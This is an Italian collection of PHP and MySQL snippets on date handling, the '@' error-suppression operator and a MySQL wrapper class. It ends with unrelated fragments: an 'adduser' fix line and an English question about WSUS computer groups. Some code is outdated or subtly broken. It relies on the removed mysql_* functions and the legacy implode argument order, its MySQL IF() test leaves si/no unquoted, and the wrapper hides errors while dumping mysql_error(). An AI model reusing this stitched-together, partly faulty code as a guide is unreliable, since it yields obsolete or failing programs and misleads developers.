Funzioni php
Conversione data
Convertire la data da formato europeo (gg/mm/aaaa) in formato americano
(aaaa-mm-gg) per inserirla in una tabella MySQL
function convertiData($dataEur){
$rsl = explode ('/',$dataEur);
$rsl = array_reverse($rsl);
return implode($rsl,'-');
}
Esempio
<?php echo convertiData("01/02/2003"); ?>
da come risultato => 2003-02-01
Visualizzare la data
Per visualizzare la data di oggi si utilizza la funzione *date()*
indicando come argomento il formato che ci interessa
<?php echo date("d/m/Y"); ?>
da come risultato
11/05/2007
Per informazioni sui vari formati della data si può consultare il sito
ufficiale di php qui <http://it2.php.net/manual/it/function.date.php>
Per stampare la data nell'anno successivo, come ad esempio per le date
di scadenza si può utilizzare
<?php echo strftime("%d/%m/%Y",mktime(0,0,0,date("m"), date("d"),
date("Y")+1)); ?>
che da come risultato
11/05/2008
Funzioni Mysql
Query
Se una tabella contiene un campo date, è possibile visualizzare il
giorno in formato gg/mm/aaaa utilizzando la funzione MySQL *date_format*.
date_format(<campo>,'%d/%m/%Y')
Esempio
La tabella fattura contiene il campo /giorno/ di tipo date. Eseguendo la
query
SELECT date_format(giorno,'%d/%m/%Y') giorno FROM fattura
si otterranno tutte le date delle fatture.
Per informazioni sui vari formati da utilizzare in date_format si può
consultare il sito ufficiale di MySQL qui
<http://dev.mysql.com/doc/mysql/en/Date_and_time_functions.html>
Calcolare il giorno della settimana
Per sapere se un giorno è lunedì o martedì, ecc utilizzare
ELT(DAYOFWEEK(<campo data>),'dom','lun','mar','mer','gio','ven','sab')
Test se una data sta per scadere 1 mese prima
Supponiamo che il campo scadenza contiene delle date, vogliamo
evidenziare le date in cui manca un mese alla scadenza. Con il seguente
test nel campo staperscadere avremo i valor si/no a seconda della data
di scadenza
IF( (date_add(scadenza, interval -1 month) < now())
and (scadenza >= now()) ,si,no) staperscadere
Calcolare quanti gioni mancano alla scadenza
Supponiamo che il campo data_pagamento contiene la data di scadenza di
una fattura. Per sapere quanti giorni mancano da oggi alla scadenza si
può usare
(TO_DAYS(data_pagamento)-TO_DAYS(now())) giorni_mancanti
sorgente:
http://www.phptips.it/2007/03/09/la-chiocciola-davanti-alle-funzioni-php/
Molto spesso capita di vedere in codice PHP scritto da altre persone una
"@" davanti al nome di una funzione. La @ davanti al nome di una
funzione impedisce alla funzione stessa di ritornare errori a schermo
qualora non vada a buon fine. Ad esempio
PHP:
1.
// Non stampa errori a schermo se fallisce
2.
$fp = @fopen <http://www.php.net/fopen>("nome_file.txt","r");
Utile, ma da usare con cautela...
sorgente:
http://www.claudiogarau.it/php/Gestire_MySQL_con_una_classe_in_PHP.php
In questo breve articolo presentiamo un esempio su come potrabbe essere
costruita una classe per facilitare l'interazione tra *PHP* e il DBMS
*MySQL*. La classe permette di eseguire tutte le principali operazioni
utilizzate generalmente nello sviluppo di applicazioni che si
interfacciano su basi di dati: connessione al DBMS; selezione del
database; query sulla tabella; estrazione di un singolo record;
conteggio dei records presenti nella tabella; estrazione dei records;
chiusura della connessione.
Ecco di seguito il codice necessario per sviluppare la nostra classe:
<?PHP
class mysql {
//connessione al DBMS
function Connect($host, $user, $pass, $data){
$connessione = @mysql_connect("$host","$user","$pass");
//selezione del database
@mysql_select_db("$data", $connessione);
}
//query sulla tabella
function Query($sql){
$sql = @mysql_query($sql) or die (mysql_error());
return $sql;
}
//estrazione di un record
function FetchRow($sql){
$rows = @mysql_fetch_row($sql);
return $rows;
}
//conteggio dei records
function FetchNum($sql){
$num = @mysql_num_rows($sql);
return $num;
}
//estrazione dei records
function FetchArray($sql){
$array = @mysql_fetch_array($sql);
return $array;
}
//chiusura della connessione
function Close(){
@mysql_close();
}
}
?>
La classe introduce le diverse funzioni native di PHP per
l'interfacciamento a database MySQL evitandone la ripetizione quando
necessarie.
Fix: Create a system user with something like:
adduser myuser
See if this solves the issue for you.
Hi
WUS is all working fine, but i accidentally removed all my clients ffrom the 'All Computers' Group. Is there a way to get the computers back or do i need to re-install WUS?